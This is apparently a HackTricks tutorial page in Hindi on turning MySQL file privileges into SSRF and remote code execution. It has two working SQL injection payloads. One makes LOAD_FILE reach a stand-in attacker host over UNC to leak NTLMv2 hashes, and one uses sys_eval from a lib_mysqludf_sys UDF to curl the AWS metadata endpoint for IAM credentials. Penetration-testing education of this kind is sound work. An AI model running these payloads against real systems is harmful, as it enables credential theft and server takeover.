11 KiB
MySQL File priv से SSRF/RCE तक
AWS हैकिंग सीखें शून्य से नायक तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारे विशेष NFTs का संग्रह
- 💬 Discord group में शामिल हों या telegram group में या Twitter पर मुझे 🐦 @carlospolopm का अनुसरण करें.
- अपनी हैकिंग ट्रिक्स साझा करें PRs जमा करके HackTricks और HackTricks Cloud github repos में.
LOAD_FILE/LOAD DATA/LOAD XML से SSRF तक
हर SQL Out of Band डेटा एक्सफिल्ट्रेशन लेख LOAD_FILE()
स्ट्रिंग फंक्शन का उपयोग करके नेटवर्क अनुरोध करेगा। इस फंक्शन की अपनी सीमाएँ होती हैं जो ऑपरेटिंग सिस्टम पर और डेटाबेस को शुरू करने के साथ सेटिंग्स पर आधारित होती हैं।
उदाहरण के लिए, यदि secure_file_priv
ग्लोबल वेरिएबल सेट नहीं किया गया था, तो डिफ़ॉल्ट मान /var/lib/mysql-files/
पर सेट होता है, जिसका मतलब है कि आप केवल LOAD_FILE('filename')
या LOAD DATA [LOCAL] INFILE 'filename' INTO TABLE tablename
जैसे फंक्शन्स का उपयोग करके /var/lib/mysql-files/
डायरेक्टरी से फाइलें पढ़ सकते हैं। इस डायरेक्टरी के बाहर की फाइलों को पढ़ने के लिए, secure_file_priv
विकल्प को ""
पर सेट करना होगा जो केवल डेटाबेस कॉन्फ़िगरेशन फाइल को अपडेट करके या डेटाबेस सर्विस को स्टार्टअप पैरामीटर के रूप में --secure_file_priv=""
पास करके किया जा सकता है।
फिर भी, जहां secure_file_priv
""
पर सेट है, हमें अन्य फाइलों को सिस्टम पर पढ़ने में सक्षम होना चाहिए, बशर्ते फाइल रीड परम्स और mysql.user
में वर्तमान डेटाबेस उपयोगकर्ता के लिए file_priv
Y
पर सेट हो। हालांकि, इन फंक्शन्स का उपयोग करके नेटवर्क कॉल्स करने में सक्षम होना बहुत ऑपरेटिंग सिस्टम पर निर्भर करता है। चूंकि ये फंक्शन्स केवल फाइलों को पढ़ने के लिए बनाए गए हैं, इसलिए केवल नेटवर्क संबंधित कॉल्स जो किए जा सकते हैं वे Windows होस्ट्स पर UNC पथों के लिए हैं क्योंकि Windows CreateFileA
api जो फाइल एक्सेस करते समय कॉल की जाती है UNC नामकरण सम्मेलनों को समझती है।
तो यदि आपका लक्ष्य डेटाबेस एक Windows मशीन पर चल रहा है तो इंजेक्शन क्वेरी x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- //
Windows मशीन को \\attackerserver.example.com
के साथ प्रमाणित करने के प्रयास में NTLMv2 हैशेज भेजने का परिणाम होगा।
यह Server Side Request Forgery, हालांकि उपयोगी है, केवल TCP पोर्ट 445 तक सीमित है। आप पोर्ट नंबर को नियंत्रित नहीं कर सकते, लेकिन पूर्ण पढ़ने की प्रिव्स के साथ सेटअप शेयरों से जानकारी पढ़ सकते हैं। इसके अलावा, पुराने शोध के साथ दिखाया गया है, आप इस सीमित SSRF क्षमता का उपयोग हैशेज चुराने और उन्हें रिले करने के लिए कर सकते हैं ताकि शेल्स प्राप्त कर सकें, इसलिए यह निश्चित रूप से उपयोगी है।
User Defined Functions से RCE तक
MySQL डेटाबेस के साथ एक और शानदार तकनीक User Defined Functions (UDF) का उपयोग करने की क्षमता है जो बाहरी लाइब्रेरी फाइलों में मौजूद होती हैं जो यदि विशिष्ट स्थानों पर या सिस्टम $PATH में होती हैं तो MySQL के भीतर से एक्सेस की जा सकती हैं।
आप SQL इंजेक्शन का उपयोग करके एक लाइब्रेरी (.so
या .dll
लिनक्स या Windows पर निर्भर करता है) लिख सकते हैं, जिसमें एक User Defined Function होता है जो नेटवर्क/HTTP अनुरोध कर सकता है, जिसे अतिरिक्त क्वेरीज के माध्यम से आमंत्रित किया जा सकता है।
इसके अपने सेट की प्रतिबंध हैं। MySQL के संस्करण के आधार पर, जिसे आप select @@version
के साथ पहचान सकते हैं, प्लगइन्स को लोड किए जाने वाले निर्देशिका प्रतिबंधित है। MySQL v5.0.67
से नीचे के संस्करणों ने plugin_dir
वेरिएबल सेट नहीं होने पर सिस्टम पथ से लाइब्रेरी फाइलों को लोड करने की अनुमति दी थी। अब यह बदल गया है और नए संस्करणों में plugin_dir
वेरिएबल को /usr/lib/mysql/plugin/
जैसे कुछ पर सेट किया गया है, जो आमतौर पर रूट द्वारा स्वामित्व में होता है।
मूल रूप से आपको MySQL में एक कस्टम लाइब्रेरी लोड करने और SQL इंजेक्शन के माध्यम से लोड की गई लाइब्रेरी से एक फंक्शन को कॉल करने के लिए आपको चाहिए:
- SQL इंजेक्शन के माध्यम से
@@plugin_dir
में निर्दिष्ट स्थान पर लिखने की क्षमता file_priv
Y
पर सेट होना चाहिएmysql.user
में वर्तमान डेटाबेस उपयोगकर्ता के लिएsecure_file_priv
""
पर सेट होना चाहिए ताकि आप नेटवर्क या वेब एप्लिकेशन में फाइल अपलोड्स निर्देशिका जैसे मनमाने स्थान से लाइब्रेरी के कच्चे बाइट्स को पढ़ सकें।
ऊपर दी गई शर्तों को पूरा करते हुए, आप क्लासिकल दृष्टिकोण का उपयोग करके डेटाबेस सर्वर पर लोकप्रिय MySQL UDF lib_mysqludf_sys
लाइब्रेरी को स्थानांतरित कर सकते हैं। आप तब cURL
या powershell wget
जैसे ऑपरेटिंग सिस्टम कमांड अनुरोधों का उपयोग करके SSRF करने के लिए सिंटैक्स का उपयोग कर सकते हैं
x'; SELECT sys_eval('curl http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //
इस लाइब्रेरी में घोषित कई अन्य फंक्शन्स हैं, जिनका विश्लेषण यहाँ देखा जा सकता है। यदि आप मेरी तरह आलसी हैं, तो आप लक्ष्य OS के लिए इस UDF लाइब्रेरी की एक प्रति /usr/share/metasploit-framework/data/exploits/mysql/
निर्देशिका से मेटास्प्लॉइट इंस्टॉलेशन से प्राप्त कर सकते हैं और शुरू कर सकते हैं